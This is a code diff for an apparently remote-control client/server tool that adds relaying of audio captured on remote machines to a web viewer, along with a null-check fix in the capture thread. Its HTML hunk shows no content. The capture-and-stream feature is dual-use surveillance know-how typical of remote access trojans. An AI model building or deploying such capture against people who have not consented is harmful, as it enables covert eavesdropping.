diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index 40449c7..f732cc3 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -2609,7 +2609,8 @@ DWORD WINAPI CScreenManager::AudioThreadProc(LPVOID lpParam) } #endif } - + if (pThis->m_pCaptureClient == nullptr) + break; pThis->m_pCaptureClient->ReleaseBuffer(numFramesAvailable); hr = pThis->m_pCaptureClient->GetNextPacketSize(&packetLength); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index d60b5c4..388fe28 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -18,6 +18,7 @@ #include #include // for uint16_t #include +#include // for std::mutex, std::lock_guard #include "WebService.h" // 文件接收消息数据结构 @@ -3494,9 +3495,53 @@ void CScreenSpyDlg::StopAudioPlayback() #endif m_nAudioCompression = 0; + // 重置网页端音频格式标志(线程安全的清理) + { + std::lock_guard lock(m_AudioWebMutex); + m_bAudioFormatSent = FALSE; + memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb)); + } + Mprintf("[ScreenSpy] 音频播放已停止\n"); } +void CScreenSpyDlg::DisableAudio() +{ + // 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅禁用 + if (m_Settings.AudioEnabled) { + m_Settings.AudioEnabled = FALSE; + SendAudioCtrl(CYCLEAUDIO_DISABLE, 1); + StopAudioPlayback(); + + // 清理网页端格式状态(在 mutex 保护下) + { + std::lock_guard lock(m_AudioWebMutex); + m_bAudioFormatSent = FALSE; + memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb)); + } + + Mprintf("[Audio Web] 禁用音频(来自 web 命令)\n"); + } +} + +void CScreenSpyDlg::EnableAudio() +{ + // 复用 IDM_AUDIO_TOGGLE 的逻辑,但仅启用 + if (!m_Settings.AudioEnabled) { + m_Settings.AudioEnabled = TRUE; + SendAudioCtrl(CYCLEAUDIO_ENABLE, 1); + + // 强制重新发送格式信息(清理缓存) + { + std::lock_guard lock(m_AudioWebMutex); + m_bAudioFormatSent = FALSE; + memset(&m_AudioFormatWeb, 0, sizeof(m_AudioFormatWeb)); + } + + Mprintf("[Audio Web] 启用音频(来自 web 命令)\n"); + } +} + void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len) { if (len < 1) return; @@ -3535,12 +3580,20 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len) UINT32 audioLen = len - offset; if (audioLen == 0) return; + // 保存"上线格式"字节(Opus 模式下是原始压缩包,PCM 模式下是原始 PCM)。 + // 这就是要透传给 web 的数据 —— web 端用 MSE+WebM 直接播 Opus, + // 不需要服务器解码后再发 PCM。本地 waveOut 仍然需要 PCM,因此下面 + // 还是会解码一遍。 + BYTE* pWireData = pAudioData; + UINT32 wireLen = audioLen; + BYTE wireCompression = (BYTE)m_nAudioCompression; + // 帧对齐参数 DWORD blockAlign = m_AudioFormat.nBlockAlign; if (blockAlign == 0) blockAlign = 4; // 默认 stereo 16-bit #if USING_OPUS - // Opus 解码 + // Opus 解码(仅供本地 waveOut 使用;web 仍会收到原始压缩包) if (m_nAudioCompression == AUDIO_COMPRESS_OPUS && m_pOpusDecoder && m_pOpusDecodeBuffer) { COpusDecoder* pDecoder = (COpusDecoder*)m_pOpusDecoder; int decodedSamples = pDecoder->Decode(pAudioData, audioLen, m_pOpusDecodeBuffer, 960 * 2); @@ -3583,10 +3636,104 @@ void CScreenSpyDlg::OnAudioData(BYTE* pData, UINT32 len) Mprintf("[Audio] 预缓冲完成,开始播放 (缓冲: %u bytes)\n", m_nRingDataLen); } + // 发送上线格式(Opus 压缩包 / 或原始 PCM)到网页 + SendAudioToWeb(pWireData, wireLen, &m_AudioFormat, wireCompression); + // 填充可用的 waveOut 缓冲区 FeedAudioBuffers(); } +void CScreenSpyDlg::SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression) +{ + if (!WebService().IsRunning()) return; + if (!pAudioData || len == 0) return; + if (!m_ContextObject) return; + if (!m_Settings.AudioEnabled) return; + + std::vector packet; + BOOL formatChanged = FALSE; + { + std::lock_guard lock(m_AudioWebMutex); + + if (!m_bAudioFormatSent) { + formatChanged = TRUE; + } else if (pFormat && ( + pFormat->nChannels != m_AudioFormatWeb.channels || + pFormat->nSamplesPerSec != m_AudioFormatWeb.sampleRate || + pFormat->wBitsPerSample != m_AudioFormatWeb.bitsPerSample || + compression != m_AudioFormatWeb.compression)) { + formatChanged = TRUE; + } + + // 第1字节:是否包含格式信息 + packet.push_back(formatChanged ? 1 : 0); + + if (formatChanged && pFormat) { + if (pFormat->nChannels < 1 || pFormat->nChannels > 8 || + pFormat->nSamplesPerSec < 8000 || pFormat->nSamplesPerSec > 48000 || + pFormat->wBitsPerSample != 16) { + Mprintf("[Audio Web] Invalid format: ch=%d, sr=%d, bps=%d\n", + pFormat->nChannels, pFormat->nSamplesPerSec, pFormat->wBitsPerSample); + return; + } + + // 12-byte AudioFormat 结构(commands.h, pack(1)) + AudioFormat fmt; + fmt.channels = (WORD)pFormat->nChannels; + fmt.sampleRate = (DWORD)pFormat->nSamplesPerSec; + fmt.bitsPerSample = (WORD)pFormat->wBitsPerSample; + // blockAlign 对 Opus 是 informational 的(包是变长压缩),按 PCM 推算填上即可。 + fmt.blockAlign = (WORD)(fmt.channels * fmt.bitsPerSample / 8); + fmt.compression = compression; + fmt.reserved = 0; + + BYTE* pFmt = (BYTE*)&fmt; + packet.insert(packet.end(), pFmt, pFmt + sizeof(fmt)); + // padding byte: 保持后续音频数据落在偶数偏移上(PCM 模式下 web 端 + // 需要 Int16 对齐;Opus 模式无所谓但保留兼容旧 web 解析) + packet.push_back(0); + + m_AudioFormatWeb = fmt; + m_bAudioFormatSent = TRUE; + + Mprintf("[Audio Web] Format sent: ch=%d, sr=%d Hz, compression=%d\n", + fmt.channels, fmt.sampleRate, fmt.compression); + } + } // 释放 mutex + + // 添加音频数据(此操作不需要 mutex,因为我们已经复制了所有需要的共享状态) + packet.insert(packet.end(), pAudioData, pAudioData + len); + + // 构造完整帧:[DeviceID:4][FrameType:1][DataLen:4][audio payload...] + // FrameType: 96 = TOKEN_SCREEN_AUDIO,用于在网页端识别音频 + std::vector frame; + + uint64_t deviceID = GetClientID(); + uint32_t audioDataLen = (uint32_t)packet.size(); + uint8_t frameType = 96; // TOKEN_SCREEN_AUDIO + + // [DeviceID:4] little-endian + frame.push_back((BYTE)(deviceID & 0xFF)); + frame.push_back((BYTE)((deviceID >> 8) & 0xFF)); + frame.push_back((BYTE)((deviceID >> 16) & 0xFF)); + frame.push_back((BYTE)((deviceID >> 24) & 0xFF)); + + // [FrameType:1] + frame.push_back(frameType); + + // [DataLen:4] little-endian + frame.push_back((BYTE)(audioDataLen & 0xFF)); + frame.push_back((BYTE)((audioDataLen >> 8) & 0xFF)); + frame.push_back((BYTE)((audioDataLen >> 16) & 0xFF)); + frame.push_back((BYTE)((audioDataLen >> 24) & 0xFF)); + + // [audio payload] + frame.insert(frame.end(), packet.begin(), packet.end()); + + // 广播到所有网页客户端 + WebService().BroadcastH264Frame(deviceID, frame.data(), frame.size()); +} + void CScreenSpyDlg::FeedAudioBuffers() { if (!m_bAudioPlaying || !m_hWaveOut || !m_pRingBuf) return; diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index 6a131ae..967facb 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -9,6 +9,7 @@ #include "2015RemoteDlg.h" #include "common/config.h" +#include "common/commands.h" // 包含 AudioFormat 定义 extern "C" { @@ -349,11 +350,22 @@ public: short* m_pOpusDecodeBuffer = nullptr; // Opus 解码输出缓冲区 #endif + // 网页端音频发送状态 + BOOL m_bAudioFormatSent = FALSE; // 是否已发送格式信息到网页 + AudioFormat m_AudioFormatWeb = {}; // 上次发送给网页的格式 + + // 音频到网页的多线程同步 + std::mutex m_AudioWebMutex; // 保护音频发送状态的互斥锁 + // 注意:m_Settings.AudioEnabled 是全局的音频启用/禁用状态 + void OnAudioData(BYTE* pData, UINT32 len); // 处理音频数据 BOOL InitAudioPlayback(const AudioFormat* fmt); // 初始化音频播放 void StopAudioPlayback(); // 停止音频播放 + void DisableAudio(); // 禁用音频(从网页命令) + void EnableAudio(); // 启用音频(从网页命令) void SendAudioCtrl(BYTE enable, BYTE persist); // 发送音频控制命令 void FeedAudioBuffers(); // 填充音频缓冲区 + void SendAudioToWeb(const BYTE* pAudioData, UINT32 len, const WAVEFORMATEX* pFormat, BYTE compression); // 发送音频到网页 (compression=AudioCompression) int GetClientRTT(); // 获取客户端RTT(ms) void EvaluateQuality(); // 评估并调整质量 diff --git a/server/web/index.html b/server/web/index.html index 3ec69d5..9811147 100644 --- a/server/web/index.html +++ b/server/web/index.html @@ -1283,12 +1283,74 @@ + + +